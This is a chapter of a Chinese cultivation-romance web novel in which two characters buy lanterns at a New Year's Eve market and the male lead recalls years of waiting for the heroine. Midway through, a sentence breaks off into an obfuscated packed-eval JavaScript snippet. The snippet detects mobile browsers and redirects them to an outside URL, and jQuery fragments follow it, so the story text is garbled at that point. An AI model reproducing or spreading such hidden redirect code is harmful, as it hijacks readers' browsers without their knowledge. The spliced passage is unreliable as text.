59. 幻境(十二)

作品:《师姐入魔了怎么办

    腊月飘雪,转瞬覆盖了道路。


    马车笃笃前行,不久到了上官府。


    回到房间,陈舒朝拿出储物袋看了下。


    首先映入眼帘的便是那一大片紫色。


    这是,烬魂草?


    给她这个干什么?又为何偏偏这个时候给她?


    按他的记忆,距离她找烬魂草应该过了许多年了吧。


    除却烬魂草,还有一些平常用的到的灵丹妙药,以及法衣珠钗,最贵的应当是那个看上去还不错的剑。


    虽说不是什么绝世好剑,但也不便宜。


    这是把他的全部身家都给她了么?


    陈舒朝拧眉,想不通为何。


    算了,不想了,明日还有闲钱要给她买东西呢,肯定不是全部身家。


    啊,对了。明日好像是除夕。


    她叫来那个一直守着门边的侍女。


    “荷花,除夕是什么时候?”


    她偶然听到过其他侍女叫她荷花。


    荷花走进来:“就是明日了,小姐。是仙君明日要邀小姐出去玩么?”


    陈舒朝点点头:“明日要晚点回来了。”


    荷花的喜悦之情溢于言表:“夫人说了,和仙君一起的话,小姐想什么时候回来都可以!”


    “我知道了。”


    第二日来得很快,陈舒朝穿着一身红衣像往常一样吃完饭,江砚邀请她去逛集市。


    下午集市里人山人海,街上挂满了花灯,商贩的吆喝声混杂在一起。


    这样热闹的气氛陈舒朝许久不见了,她不自觉露出笑容:“我们走吧?”


    江砚也笑着看她,手指微微抬了一下,看到陈舒朝垂在身侧、安安静静的手,最终放下了。


    “好,走吧。”


    陈舒朝一眼看中一个卖糖人的小摊,老板的手艺很好,前面排起了长队。


    “想吃那个么?”


    注意到她的视线,江砚问。


    “嗯,不过队太长了,我们等会再去吧。”


    “也好。”


    这句话说完,陈舒朝眼尖地看到了一个卖花灯的老妇人,生意冷清,路过的人很少停留。


    “我们去那边买花灯吧?”


    “好。”


    陈舒朝走进小摊,老妇人卖的花灯精致可爱,栩栩如生,看的第一眼就让人想把它带走。


    怎么会没人呢?


    “老板,这花灯怎么卖?”


    老妇人眯起眼睛,上上下下将她打量,开口:“那要看小姐您要的是什么灯了。”


    陈舒朝侧头喊江砚:“今日不管我买什么都是你结账?”


    “自然。”


    “那我可随便挑了?你也给自己选一盏,等会我们一起去河边。”


    她看出来了,这并不是普通的花灯。


    每一盏都是由器修精心打造,独具匠心,且有不同的效果。想必价格不会便宜。


    这也是没有人来买她花灯的原因。


    陈舒朝看上了一盏小狼造型的花灯,这盏花灯让她想起了两人一起去妖界的时候。


    她化作了一条蛇,而他是一只狼。


    刚开始还被她认成了狗。


    可能是频繁进入幻境的缘故,明明没过多久,她却觉得好似是几十年前的事了。


    可惜花灯的造型很难做出蛇形……


    “我要这个。”


    江砚的话打断了她的思绪,陈舒朝发现他拿在手上的,赫然是一盏蛇造型的灯。


    只不过这只蛇是胖胖的,整个头就占了花灯的大半部分身体。


    他应当还没有记忆吧。


    “怎么挑了一条蛇?”


    江砚自己也很奇怪:“不知道,看到第一眼就想买了。”


    “那我要这个。”


    她指了指稍微里面一点的狼花灯。


    老板给她拿过去:“一共是五两银子。”


    听到这个价格的陈舒朝有些震惊。


    想过贵没想过这么贵,就算是器修新手做的,那也不值这个价。


    她是想过坑江砚一点钱,但没想过让他当冤大头。


    眼看江砚眼也不眨,就要掏银子,陈舒朝连忙拽住他的小臂。


    “这简直就是抢钱!不买了。”


    江砚先是僵了一下,愣住了,在陈舒朝收回手臂时又紧紧握住她的手腕。


    “好不容易出来一次,今天还是除夕,想要什么就买什么。”


    “她这是坑你钱呢看不出来吗,不能花这种冤枉钱。”


    “我明白了。”


    江砚温和地笑笑,回头对老板道:“我们也是修士,清楚里面的门道,做商人,要讲良心。”


    老妇人对着他们翻了个白眼。


    “早说是修士啊,还费那么大劲儿,修士就好说了,两枚灵石。”


    这差不多就是正常价了。


    江砚掏灵石的时候,陈舒朝还能听到老妇人在小声嘟囔:“早说是修士一开始就要灵石了,还费那么大劲要银子。”


    结果灵石,老妇人终究还是忍耐不住好奇心,问道:“听你们的意思,你们打算去河边把这花灯放了?”


    看到他们点头,她肉疼:“诶呦我的少爷小姐啊,这可是加了特殊功能的,你们就打算这么放了?”


    陈舒朝一脸无所谓:“对啊。”


    老妇人简直目瞪口呆,看他们讲价还以为是个知道过日子的主儿,这怎么能把这么贵重的花灯直接放了呢?


    她肉疼的不行:“暴殄天物啊暴殄天物。”


    她似是下了什么决心一般道:“这样,你们别把这两盏花灯放了,我再送你们两盏专门许愿的河灯,怎么样?”


    还有这种好事?


    陈舒朝立马道:“那敢情好。”


    对方同意了,老妇人又有些后悔,她咬牙拿出两盏普通的河灯:“给你给你,赶紧走吧小兔崽子们。”


    这河灯自然也比别家的精致些。


    这次真的是捡到便宜了,陈舒朝高兴地拉上江砚走了。


    远远看着糖人那里还有很长的队,陈舒朝叹了一口气。


    不行就不吃了。


    江砚也看到了,递给她一袋银子,开口:“我去排队吧,你就去附近的馄饨摊里吃碗馄饨,可以么?”


    陈舒朝想了想:“好。”


    *


    碗里的馄饨冒着热气,在碗的上空形成一片水雾。


    陈舒朝呼出一口气,眼前也冒出了一片水雾。


    等水雾消散,陈舒朝拿起了筷子。


    在寒冷的冬日,吃上一碗热气腾腾的馄饨,真的很舒服。


    因为有些烫,陈舒朝吃得很慢,眼神看向给她排队买糖人的人。


    江砚穿得不厚,平日都是拿灵力取暖。


    在还未魔气入体的很久之前,她也是这样的。只是被封印后,灵力


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141795|188625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用一点少一点,便没了用灵力御寒的习惯。


    想到这里,陈舒朝苦笑了下。


    快了,这就是最后一株草药了,等拿到烬魂草后,就立即去往千仞宗用太虚鼎炉炼丹。


    一定要在林野鹤出关前炼好。


    林野鹤提前出关,实力定然没有完全恢复。


    她绝对能杀了他。


    陈舒朝沉浸在自己的思绪中,连与江砚视线对上了也不知道。


    江砚看着忽然认真的、带着他看不明白表情的陈舒朝,若有所思。


    那天带着姐姐为他准备的东西,江砚去了无量宗。


    当时的自己没有注意,过了几年他才突觉有问题。


    与他差不了几岁,并且还是刚觉醒灵根的姐姐,怎么能一眼看穿他的天赋呢?


    他想不明白,但由于年岁还是不大,不能独自下山,便没有当面去问。


    等掌握了基本知识,他开始查古籍,查姐姐吐血晕倒的原因。


    只是翻遍了整个藏书阁,也没找到一本详细记载烬魂草的书。


    某日师尊外出,带回来了几本古籍。


    他认出,那正是自己家中的藏书。


    师尊说是前些年丢失的书,这次外出正好找回来了。


    后来他又仔细看了古籍,终于发现里面记载有,烬魂草的气息可以引发灵根。


    等到筑基期,师尊说他每年都有假期,可以下山玩。


    第一个年假他就去找了陈舒朝。


    可是,站在他面前是个完全陌生的人。


    熟悉的五官,给人的感觉却完全不同,一个是带锋利的温柔,另一个是冷漠的自持。


    本以为是时间久了,可能发生了什么事。


    可几次试探下来,发现对方的确不是他所熟悉的那个人。


    ——她完全不记得之前发生的事,连“陈舒朝”这个名字也是陌生的。


    这时他才明白,这个名字真的是只有他们两个才知道的秘密。


    默默地吃完一顿饭,此后每一年都来见她一面,每一年都失望而归。


    骗子,明明说了会再见的。


    江砚甚至想过放弃,然而第二年还是来了。


    他抱着微不足道的希望等了一年又一年。


    直到今年,在听到对方与店小二对话的那一刻,他知道了,他的姐姐回来了。


    过去几年的思念惊涛骇浪般反扑,他也只能克制地再靠近一些。


    每一次不经意间的触碰都让他战栗,让他想要渴求更多。


    但是不行,至少目前来看,这些思念不能朝她展露,会吓到她。


    现在能站在这里,接触真实的她,看着她吃馄饨,已经很满足了。


    下一个就到他了,他忽然想起没问姐姐要什么模样的。


    现在去问不可能了,想到她买的花灯,他对摊位老板道:“一个蛇形,一个狼形。”


    “好嘞!”


    老板手法娴熟,很快就做好了。


    江砚拿着两支糖人,视线里没了那个熟悉的红色身影,他慌乱了。


    甚至没来得及思考,本就不强的神识已经铺开去寻。


    金丹期灵力的暴走,对普通老百姓而言也很难捱了,不少人忽然头痛,甚至跌倒在地。


    场面没有很混乱,却也引起了小范围的骚动。


    “江砚!”


    直到一道熟悉的声音进入耳朵。